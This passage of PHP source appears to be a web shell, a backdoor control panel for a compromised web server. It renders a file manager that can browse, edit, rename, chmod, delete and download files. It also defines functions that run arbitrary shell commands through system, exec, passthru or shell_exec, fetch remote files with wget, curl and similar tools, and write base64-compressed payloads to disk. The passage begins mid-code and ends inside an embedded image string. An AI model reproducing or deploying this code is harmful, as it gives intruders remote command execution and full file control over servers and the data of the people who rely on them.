<input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go\" /> 
</form></td></tr> ";} 
elseif($folder == ".."){ 
if(!$win && $posix)
{$name=@posix_getpwuid(@fileowner($folder));$group=@posix_getgrgid(@filegroup($folder));
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];} 
else { $owner = $user; } 
$buff .= "<tr><td>
<a href=\"?y=".$parent."\">  $folder</a></td><td>-</td>
<td style=\"text-align:center;\">".$owner."</td>
<td><center>".get_perms($parent)."</center></td> <td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($parent))."</td>
<td><span id=\"titik2\"><a href=\"?y=$pwd&amp;edit=".$parent."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik2','titik2_form');\">newfolder</a></span> 
<form action=\"?\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> 
<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" /> 
<input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go\" /> 
</form></td></tr>";}else{if(!$win && $posix){ 
$name=@posix_getpwuid(@fileowner($folder)); 
$group=@posix_getgrgid(@filegroup($folder)); 
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];} 
else { $owner = $user; }
$buff .= "<tr><td><a id=\"".clearspace($folder)."_link\" href=\"?y=".$pwd.$folder.DIRECTORY_SEPARATOR."\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAALGPC/xhBQAAAAlwSFlzAAAOwgAADsIBFShKgAAAABp0RVh0U29mdHdhcmUAUGFpbnQuTkVUIHYzLjUuMTAw9HKhAAACkUlEQVQ4T8WT2UvUURzFz2NRT5pab9ZDYZNMLjNq6rg1Fqhl5cw8qA+2kJmBgxKUhVpW4y6FZblkaRROpkQLITKG1ERhC5JMuaVmzuQWBD3e27nN0D/QQz/48P1+7znne+/LD/jvn14XtUYXqU+O0kebY2NiLfFxBkuiIcmSnJRiMe5MtexK3W02phjNSYnJZkN8gikmeoeJGRMzRr1OvxZbQzTBZCBUE+oJD4vwcJEnNibOY4hL8HCRJzEh6U/PMzc1d/j2CPc2TaibmSFNiGYT7hT7nbyU579y4dA6WXUsQNacCJR1RYGyoThINpZs8LFe1luD/mi2/ABZedBf2vL8fnSV+JdhohZPJ+sgv16H9NyGXOyGXH4AudLLetfLSh8rZ6Upj/JOMTNRAwfGa9A3Wetb0OlbQPPSffZdXpbZ/11Aj1qgMuPVeIYxG7rGbZAzTZDzHZDfeeOindxjf5M3tkMuMLTEswVqyjNzleEqSGZ74KrEZVcFn1QPMcfN7g4IPlPMN0N8a/IyR9xthJryTDVAuM5Bus6jBaPlKB85xW0XIaYb+bxrkLNXIL5UQxJVxRRfOM0LZnmz8iivyoyWwYaRUhS8LYL4WArxuRJiooq1AuLTGR9nOZd5z5Q2Ro/yqszIaVgxbEXmy8OQbwoh3pdAvrNCvD4KMXwccriAVVFIPR/iQzGhR3lfMMOsCY4chPVb8JPIwVzI5zmQA2aI/
izO7AezOVNzZEMM5VGnR3nJL0cuInErHcH2DHTb0+DszcSrh1lwPjb7sMD5hKj5kQlOpfXRY0+HszsDPZ0Z2IjcMKyuTsXm5jRob+yBtnUftG0HSBa07QqTt7bu92ote6FtToeWmS1HdFj1zz/zb9ZqmlZ866Y6AAAAAElFTkSuQmCC' />  [ $folder ]</a> 
<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> 
<input type=\"hidden\" name=\"oldname\" value=\"".$folder."\" style=\"margin:0;padding:0;\" /> 
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$folder."\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($folder)."_form','".clearspace($folder)."_link');\" />
</form> </td><td>DIR</td><td style=\"text-align:center;\">".$owner."</td><td><center>
<a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\">".get_perms($pwd.$folder)."</a>
<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form3\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> 
<input type=\"hidden\" name=\"name\" value=\"".$folder."\" style=\"margin:0;padding:0;\" /> 
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($pwd.$folder)), -4)."\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"chmod_folder\" value=\"chmod\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" 
onclick=\"tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\" /></form></center></td><td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($folder))."</td><td><a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form');\">rename</a>| <a href=\"?y=$pwd&amp;fdelete=".$pwd.$folder."\">delete</a>
</td>
</tr>";}}foreach($fname as $file){ 
$full = $pwd.$file; 
if(!$win && $posix){$name=@posix_getpwuid(@fileowner($file)); $group=@posix_getgrgid(@filegroup($file)); $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];} 
else { $owner = $user; } 
$buff .= "<tr><td><a id=\"".clearspace($file)."_link\" href=\"?y=$pwd&amp;view=$full\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAAadEVYdFNvZnR3YXJlAFBhaW50Lk5FVCB2My41LjEwMPRyoQAAAXVJREFUOE+NkjtPwlAYhv0DLEZJSDQawQCTcYD/YWIkzqx0cHT1D7C4nMRFSdOWi4uzm9FFXcRBI3KxQGlLoYCAILyekhiRw6UneZKmeb8n79eepaW/43e5XFGfz0csvF4v8Xi2yfrGJllecRIa2xnLMo+OcDis6kYNulEfUdEMZD/KuH1IQ7y6RiQS0eZJAolkig6U/pHJy0i/vOPm/gnlikYl3ExJMJm6hFxWGQpFhUqyKJQqyNFGHMfptMnu5A5UkBrVZqkiLyt4zcrI5It4y8nY2w9ZkrVxSdBaoVozZ6LqtVGDu8dnHB2fgA4HGYHZaGE2TRj1BoqKhlNyxgriiSRan+2FmM0WYrzACiQq6HS7C2l3uhDjiSkC+vKr17OFNE0gSnH0+9+2sLLMRxRECYPBwBaCOEXACyKGw6EteEFiGgTOYzzsnguapSsExu+B4yB0qJYUlf5rcy5WxsrSYcfkdfavOp3RLbebzMPK0EH/7/APv59j7X+gJNIAAAAASUVORK5CYII%3D' />  $file</a> 
<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> 
<input type=\"hidden\" name=\"oldname\" value=\"".$file."\" style=\"margin:0;padding:0;\" /> 
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$file."\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form');\" />
</form></td><td>".ukuran($full)."</td><td style=\"text-align:center;\">".$owner."</td><td><center>
<a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\">".get_perms($full)."</a>
<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form2\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> 
<input type=\"hidden\" name=\"name\" value=\"".$file."\" style=\"margin:0;padding:0;\" /> 
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($full)), -4)."\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"chmod\" value=\"chmod\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\" /></form></center></td>
<td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($full))."</td> 
<td><a href=\"?y=$pwd&amp;edit=$full\">edit</a> | <a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form');\">rename</a>| <a href=\"?y=$pwd&amp;delete=$full\">delete</a> | <a href=\"?y=$pwd&amp;dl=$full\">download</a>&nbsp;(<a href=\"?y=$pwd&amp;dlgzip=$full\">gz</a>)
</td></tr>";} 
$buff .= "</table>"; return $buff;}
function ukuran($file){if($size = @filesize($file)){if($size <= 1024) return $size;else{if($size <= 1024*1024) {$size = @round($size / 1024,2);;
return "$size kb";} else {$size = @round($size / 1024 / 1024,2);return "$size mb";}}}
else return "???";} function exe($cmd){if(function_exists('system')) {@ob_start();@system($cmd);$buff = @ob_get_contents();$buff = @ob_get_contents();@ob_end_clean();
return $buff;} elseif(function_exists('exec')) {@exec($cmd,$results);$buff = "";foreach($results as $result){$buff .= $result;} return $buff;} 
elseif(function_exists('passthru')){@ob_start();@passthru($cmd);$buff = @ob_get_contents();@ob_end_clean();return $buff;} 
elseif(function_exists('shell_exec')){$buff = @shell_exec($cmd);return $buff;}} function tulis($file,$text){$textz = gzinflate(base64_decode($text));if($filez = @fopen($file,"w")) {@fputs($filez,$textz);@fclose($file);}} 
function ambil($link,$file) {if($fp = @fopen($link,"r")){while(!feof($fp)){$cont.= @fread($fp,1024);}@fclose($fp);$fp2 = @fopen($file,"w");@fwrite($fp2,$cont);@fclose($fp2);} } 
function which($pr){$path = exe("which $pr");
if(!empty($path)) {return trim($path);}
else {return trim($pr);}}
function download($cmd,$url){$namafile = basename($url);
switch($cmd){case 'wwget': exe(which('wget')." ".$url." -O ".$namafile);break;case 'wlynx': exe(which('lynx')." -source ".$url." > ".$namafile);break;case 'wfread' : ambil($wurl,$namafile);break;case 'wfetch' : exe(which('fetch')." -o ".$namafile." -p ".$url);break;case 'wlinks' : exe(which('links')." -source ".$url." > ".$namafile);break;case 'wget' : exe(which('GET')." ".$url." > ".$namafile);break;case 'wcurl' : exe(which('curl')." ".$url." -o ".$namafile);break;default: break;}
return $namafile;}function get_perms($file) {if($mode=@fileperms($file)){$perms='';$perms .= ($mode & 00400) ? 'r' : '-';$perms .= ($mode & 00200) ? 'w' : '-';$perms .= ($mode & 00100) ? 'x' : '-';$perms .= ($mode & 00040) ? 'r' : '-';$perms .= ($mode & 00020) ? 'w' : '-';$perms .= ($mode & 00010) ? 'x' : '-';$perms .= ($mode & 00004) ? 'r' : '-';$perms .= ($mode & 00002) ? 'w' : '-';$perms .= ($mode & 00001) ? 'x' : '-';
return $perms;}else return "??????????";}function clearspace($text){return str_replace(" ","_",$text);}
$tunisia = 'base64,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